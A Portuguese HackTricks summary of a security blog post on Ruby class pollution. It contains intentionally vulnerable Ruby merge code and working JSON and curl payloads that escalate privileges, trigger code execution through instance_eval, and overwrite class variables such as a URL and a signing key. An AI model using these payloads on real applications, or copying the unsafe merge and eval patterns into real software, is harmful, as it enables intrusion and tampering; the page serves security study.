13 KiB
Poluição de Classe Ruby
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Este é um resumo do post https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
Mesclar em Atributos
Exemplo:
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
Explicação
- Escalação de Privilégios: O método
authorize
verifica seto_s
retorna "Admin." Ao injetar um novo atributoto_s
através do JSON, um atacante pode fazer com que o métodoto_s
retorne "Admin," concedendo privilégios não autorizados. - Execução Remota de Código: Em
health_check
,instance_eval
executa métodos listados emprotected_methods
. Se um atacante injetar nomes de métodos personalizados (como"puts 1"
),instance_eval
irá executá-lo, levando à execução remota de código (RCE). - Isso só é possível porque há uma instrução
eval
vulnerável executando o valor da string desse atributo. - Limitação de Impacto: Essa vulnerabilidade afeta apenas instâncias individuais, deixando outras instâncias de
User
eAdmin
inalteradas, limitando assim o escopo da exploração.
Casos do Mundo Real
deep_merge
do ActiveSupport
Isso não é vulnerável por padrão, mas pode ser tornado vulnerável com algo como:
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
Hashie’s deep_merge
O método deep_merge
do Hashie opera diretamente nos atributos do objeto em vez de hashes simples. Ele impede a substituição de métodos por atributos em uma mesclagem com algumas exceções: atributos que terminam com _
, !
ou ?
ainda podem ser mesclados no objeto.
Um caso especial é o atributo _
por si só. Apenas _
é um atributo que geralmente retorna um objeto Mash
. E porque faz parte das exceções, é possível modificá-lo.
Veja o seguinte exemplo de como passando {"_": "Admin"}
é possível contornar _.to_s == "Admin"
:
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
Poison the Classes
No exemplo a seguir, é possível encontrar a classe Person
, e as classes Admin
e Regular
que herdam da classe Person
. Também possui outra classe chamada KeySigner
:
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
Classe Pai Tóxica
Com este payload:
{% code overflow="wrap" %}
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
{% endcode %}
É possível modificar o valor do atributo @@url
da classe pai Person
.
Envenenando Outras Classes
Com este payload:
{% code overflow="wrap" %}
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
{% endcode %}
É possível realizar um ataque de força bruta nas classes definidas e, em algum momento, envenenar a classe KeySigner
modificando o valor de signing_key
para injected-signing-key
.\
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.